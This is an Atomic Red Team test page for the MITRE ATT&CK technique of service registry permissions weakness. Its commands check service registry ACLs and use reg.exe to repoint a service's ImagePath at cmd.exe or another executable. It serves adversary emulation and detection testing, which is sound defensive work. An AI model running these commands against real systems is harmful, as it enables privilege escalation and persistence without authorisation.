# T1574.011 - Services Registry Permissions Weakness
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1574/011)
<blockquote>Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start.  Windows stores local service configuration information in the Registry under <code>HKLM\SYSTEM\CurrentControlSet\Services</code>. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe,  [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: Registry Key Security)

If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).

Adversaries may also alter Registry keys associated with service failure parameters (such as <code>FailureCommand</code>) that may be executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness) </blockquote>

## Atomic Tests

- [Atomic Test #1 - Service Registry Permissions Weakness](#atomic-test-1---service-registry-permissions-weakness)

- [Atomic Test #2 - Service ImagePath Change with reg.exe](#atomic-test-2---service-imagepath-change-with-regexe)


<br/>

## Atomic Test #1 - Service Registry Permissions Weakness
Service registry permissions weakness check and then which can lead to privilege escalation with ImagePath. eg.
reg add "HKLM\SYSTEM\CurrentControlSet\Services\#{weak_service_name}" /v ImagePath /d "C:\temp\AtomicRedteam.exe"

**Supported Platforms:** Windows


**auto_generated_guid:** f7536d63-7fd4-466f-89da-7e48d550752a





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| weak_service_name | weak service check | String | weakservicename|


#### Attack Commands: Run with `powershell`! 


```powershell
get-acl REGISTRY::HKLM\SYSTEM\CurrentControlSet\Services\* |FL
get-acl REGISTRY::HKLM\SYSTEM\CurrentControlSet\Services\#{weak_service_name} |FL
```






<br/>
<br/>

## Atomic Test #2 - Service ImagePath Change with reg.exe
Change Service registry ImagePath of a bengin service to a malicious file

**Supported Platforms:** Windows


**auto_generated_guid:** f38e9eea-e1d7-4ba6-b716-584791963827





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| weak_service_name | weak service name | String | calcservice|
| weak_service_path | weak service path | String | %windir%&#92;system32&#92;win32calc.exe|
| malicious_service_path | malicious service path | String | %windir%&#92;system32&#92;cmd.exe|


#### Attack Commands: Run with `command_prompt`! 


```cmd
reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\#{weak_service_name}" /f /v ImagePath /d "#{malicious_service_path}"
```

#### Cleanup Commands:
```cmd
sc.exe delete #{weak_service_name}
```



#### Dependencies:  Run with `powershell`!
##### Description: The service must exist (#{weak_service_name})
##### Check Prereq Commands:
```powershell
if (Get-Service #{weak_service_name}) {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
sc.exe create #{weak_service_name} binpath= "#{weak_service_path}"
```




<br/>
